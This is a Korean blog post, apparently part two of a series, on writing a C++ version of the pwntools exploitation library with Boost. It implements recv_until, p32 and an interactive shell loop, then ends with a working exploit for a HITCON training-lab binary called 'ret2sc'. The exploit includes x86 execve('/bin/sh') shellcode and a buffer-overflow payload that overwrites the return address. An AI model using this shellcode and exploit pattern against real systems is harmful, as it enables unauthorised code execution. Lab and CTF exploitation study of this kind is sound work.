pwntools 개발기 (2)
라이브러리로 작성된 완전한 코드는 아래에서 확인 가능하다.
https://github.com/lucid78/pwntoolscpp
recv_until
recvuntil() 함수는 이 함수에 전달된 파라미터 문자가 대상의 출력에서 발견될 때까지 읽어들이는 함수이다. C에서라면 read() 함수로 문자를 1바이트씩 읽으면서 delim 문자인지 확인을 하는 꽤 귀찮은 작업을 거쳐야 하지만, boost에서는 boost::asio::read_until이라는 함수가 이 기능을 지원한다. (https://www.boost.org/doc/libs/1_70_0/doc/html/boost_asio/reference/read_until.html)
boost::asio::read_until()의 사용법은 아래와 같다. 세번째 파라미터가 delim으로 변경된 것 외에는 이전에 살펴보았던 boost::asio::read()와 사용법이 동일하다.
boost::asio::streambuf buf; // pipe에서 읽은 data를 저장하는 buffer
buf.prepare(4096); // buffer의 크기 설정
auto size = boost::asio::read_until(output, buf, delim);
std::cout << std::string(buffers_begin(buf.data()), buffers_begin(buf.data()) + size) << std::endl;
buf.consume(size);
위의 코드는 구분자 delim 문자열을 파라미터로 입력받아 read_until()을 호출하여 해당 문자열이 발견되었을 때까지의 출력을 반환한다.
아래는 위의 코드를 바탕으로 추가한 recv_until() 함수가 추가된 전체 코드와 그 실행 결과이다. ret2sc 실행 시 출력되는 Name을 recv_until()가 제대로 읽는지 확인하기 위해 init() 함수에서 read_at_once()를 주석 처리하였다.
#include <iostream>
#include <boost/process.hpp>
#include <boost/asio.hpp>
#include <boost/thread.hpp>
#include <boost/chrono.hpp>
#include <mutex>
class PROCESS
{
private:
std::string m_path;
boost::asio::io_context io;
boost::process::async_pipe input;
boost::process::async_pipe output;
boost::process::async_pipe error;
boost::process::child c;
boost::system::error_code ec;
std::recursive_mutex lock;
const int buffer_length{4096};
public:
PROCESS(const std::string& _path)
: m_path(_path),
input(io),
output(io),
error(io),
c(m_path,
boost::process::std_out > output,
boost::process::std_in < input,
boost::process::std_err > error,
io)
{
init();
}
PROCESS(const std::string& _path, const std::vector<std::string>& args)
: m_path(_path),
input(io),
output(io),
error(io),
c(m_path,
boost::process::args(args),
boost::process::std_out > output,
boost::process::std_in < input,
boost::process::std_err > error,
io)
{
init();
}
~PROCESS()
{
std::cout << "[*] Stopping process... pid is " << std::to_string(c.id()) << std::endl;
c.terminate();
}
const std::string recv_until(const std::string& delim)
{
std::string str;
boost::asio::streambuf buf;
buf.prepare(buffer_length);
if(const auto size{boost::asio::read_until(output, buf, delim, ec)}; size != 0)
{
if(ec && ec != boost::asio::error::eof)
{
throw boost::system::system_error(ec);
}
str += buffer_to_string(buf, size);
buf.consume(size);
}
return str;
}
private:
void init()
{
std::cout << "[*] Starting process... pid is " << std::to_string(c.id()) << std::endl;
// read_at_once();
io.run();
}
const std::string buffer_to_string(const boost::asio::streambuf &buffer, const size_t& size)
{
return {buffers_begin(buffer.data()), buffers_begin(buffer.data()) + size};
}
void read_at_once()
{
boost::thread out_thread([&]()
{
boost::asio::streambuf buf;
buf.prepare(buffer_length);
if(const auto size{boost::asio::read(output, buf, boost::asio::transfer_at_least(1), ec)}; size != 0)
{
locked_output(buffer_to_string(buf, size));
buf.consume(size);
}
});
out_thread.try_join_for(boost::chrono::milliseconds(200));
boost::thread error_thread([&]()
{
boost::asio::streambuf buf;
buf.prepare(buffer_length);
if(const auto size{boost::asio::read(error, buf, boost::asio::transfer_at_least(10), ec)}; size != 0)
{
locked_output(buffer_to_string(buf, size));
buf.consume(size);
}
});
error_thread.try_join_for(boost::chrono::milliseconds(200));
}
void locked_output(const std::string& s)
{
std::lock_guard<std::recursive_mutex> guard(lock);
std::cout << s << std::endl;
}
};
int main()
{
try
{
PROCESS p{"/tmp/hitcon/LAB/lab3/ret2sc"};
std::cout << p.recv_until(":") << std::endl;
}
catch (std::exception& e)
{
std::cerr << "Exception: " << __FUNCTION__ << " " << e.what() << "\n";
}
return 0;
}
제대로 동작하는지 추가로 확인하기 위해 recv_until(“m”)을 한 결과는 아래와 같으며 정상적으로 동작하는 것을 알 수 있다.
p32
p32() 함수는 전달된 int 형식의 주소를 32비트 little-endian 형식의 문자열로 바꿔주는 역할을 하는 함수이다. 예를 들어 이 함수에 0x12345678을 전달하면, \x78\x56\x34\x12 형태의 문자열을 반환한다. (https://lclang.tistory.com/90)
이 기능은 boost를 이용해서 아래와 같이 쉽게 구현할 수 있다.
const std::string conv_ascii(std::string hex)
{
std::string ascii;
for(size_t i = 0; i < hex.length(); i += 2)
{
auto part = hex.substr(i, 2);
char ch = stoul(part, nullptr, 16);
ascii += ch;
}
return ascii;
}
const std::string p32(const int& number)
{
const int reversed{boost::endian::endian_reverse(number)};
return conv_ascii((boost::format("%x") % reversed).str());
}
interactive
이번에는 interactive() 함수를 구현해 보자. interactive()는 마치 shell이 실행된 것 같은 인터페이스를 보여주는 함수인데, 실제로는 child process와의 read/write가 계속 반복되는 것이 기능의 전부이다. 따라서 앞에서 완성한 함수들을 약간만 수정하여 쉽게 구현할 수 있다.
아래는 추가된 interactive() 함수의 모습이다. child process와의 통신 시 안정적인 data 전송을 위해 약간의 delay를 넣었다. 그리고 마치 /bin/sh이 동작하는 것처럼 화면 표시를 해주고, 전달받은 문자열을 write하고 read하여 화면에 출력한다.
void interactive()
{
locked_output("[*] Switching to interactive mode");
while(true)
{
std::this_thread::sleep_for(std::chrono::milliseconds(1));
lock.lock();
std::cout << "$ ";
lock.unlock();
std::string s;
std::getline(std::cin, s);
if(s.empty()) continue;
send_line(s);
recv_at_once();
}
}
이제 shellcode를 이용해 실제로 제대로 동작하는지 검증해 보자. 아래는 pwntoolscpp를 이용해 제작한 exploit 코드이다.
#include <iostream>
#include <mutex>
#include <boost/process.hpp>
#include <boost/asio.hpp>
#include <boost/thread.hpp>
#include <boost/chrono.hpp>
#include <boost/endian/buffers.hpp>
#include <boost/format.hpp>
class PROCESS
{
private:
std::string m_path;
boost::asio::io_context io;
boost::process::async_pipe input;
boost::process::async_pipe output;
boost::process::async_pipe error;
boost::process::child c;
boost::system::error_code ec;
std::recursive_mutex lock;
const int buffer_length{4096};
public:
PROCESS(const std::string& _path)
: m_path(_path),
input(io),
output(io),
error(io),
c(m_path,
boost::process::std_out > output,
boost::process::std_in < input,
boost::process::std_err > error,
io)
{
init();
}
PROCESS(const std::string& _path, const std::vector<std::string>& args)
: m_path(_path),
input(io),
output(io),
error(io),
c(m_path,
boost::process::args(args),
boost::process::std_out > output,
boost::process::std_in < input,
boost::process::std_err > error,
io)
{
init();
}
~PROCESS()
{
std::cout << "[*] Stopping process... pid is " << std::to_string(c.id()) << std::endl;
c.terminate();
}
const std::string recv_until(const std::string& delim)
{
std::string str;
boost::asio::streambuf buf;
buf.prepare(buffer_length);
if(const auto size{boost::asio::read_until(output, buf, delim, ec)}; size != 0)
{
if(ec && ec != boost::asio::error::eof)
{
throw boost::system::system_error(ec);
}
str += buffer_to_string(buf, size);
buf.consume(size);
}
return str;
}
size_t send(const std::string& data)
{
const auto length{boost::asio::write(input, boost::asio::buffer(data, data.length()), ec)};
if(ec && ec != boost::asio::error::eof){throw boost::system::system_error(ec);}
std::lock_guard<std::recursive_mutex> guard(lock);
std::stringstream stream;
stream << "0x" << std::hex << length;
std::cout << std::endl;
std::cout << "Sent " << std::hex << stream.str() << " bytes:" << std::endl;
dump_hex(data.c_str(), data.size());
return length;
}
size_t send_line(const std::string& data)
{
auto str{data};
str.append("\n");
return send(str);
}
void interactive()
{
locked_output("[*] Switching to interactive mode");
while(true)
{
std::this_thread::sleep_for(std::chrono::milliseconds(1));
lock.lock();
std::cout << "$ ";
lock.unlock();
std::string s;
std::getline(std::cin, s);
if(s.empty()) continue;
send_line(s);
read_at_once();
}
}
private:
void init()
{
std::cout << "[*] Starting process... pid is " << std::to_string(c.id()) << std::endl;
// read_at_once();
io.run();
}
const std::string buffer_to_string(const boost::asio::streambuf &buffer, const size_t& size)
{
return {buffers_begin(buffer.data()), buffers_begin(buffer.data()) + size};
}
void read_at_once()
{
boost::thread out_thread([&]()
{
boost::asio::streambuf buf;
buf.prepare(buffer_length);
if(const auto size{boost::asio::read(output, buf, boost::asio::transfer_at_least(1), ec)}; size != 0)
{
locked_output(buffer_to_string(buf, size));
buf.consume(size);
}
});
out_thread.try_join_for(boost::chrono::milliseconds(200));
boost::thread error_thread([&]()
{
boost::asio::streambuf buf;
buf.prepare(buffer_length);
if(const auto size{boost::asio::read(error, buf, boost::asio::transfer_at_least(10), ec)}; size != 0)
{
locked_output(buffer_to_string(buf, size));
buf.consume(size);
}
});
error_thread.try_join_for(boost::chrono::milliseconds(200));
}
void dump_hex(const void* data, size_t size)
{
char ascii[17] = {0};
for(size_t i = 0; i < size; ++i)
{
printf("%02X ", ((unsigned char*)data)[i]);
if(((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~')
{
ascii[i % 16] = ((unsigned char*)data)[i];
}
else
{
ascii[i % 16] = '.';
}
if((i+1) % 8 == 0 || i+1 == size)
{
printf(" ");
if ((i+1) % 16 == 0)
{
printf("| %s \n", ascii);
}
else if (i+1 == size)
{
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8)
{
printf(" ");
}
for (size_t j = (i+1) % 16; j < 16; ++j)
{
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
std::cout << std::endl;
}
void locked_output(const std::string& s)
{
std::lock_guard<std::recursive_mutex> guard(lock);
std::cout << s << std::endl;
}
};
const std::string conv_ascii(std::string hex)
{
std::string ascii{""};
for(size_t i = 0; i < hex.length(); i += 2)
{
const auto part{hex.substr(i, 2)};
char ch = stoul(part, nullptr, 16);
ascii += ch;
}
return ascii;
}
const std::string p32(const int& number)
{
const int reversed{boost::endian::endian_reverse(number)};
return conv_ascii((boost::format("%x") % reversed).str());
}
int main()
{
try
{
PROCESS p{"/tmp/hitcon/LAB/lab3/ret2sc"};
std::cout << p.recv_until(":");
char shellcode[] = "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62"
"\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81"
"\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a"
"\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a"
"\x0b\x58\xcd\x80\x0a";
p.send_line(shellcode);
std::cout << p.recv_until(":");
std::string payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
payload.append(p32(0x804a060));
p.send_line(payload);
p.interactive();
}
catch (std::exception& e)
{
std::cerr << "Exception: " << __FUNCTION__ << " " << e.what() << "\n";
}
return 0;
}
아래와 같이 shell이 잘 뜨는 것을 확인할 수 있다.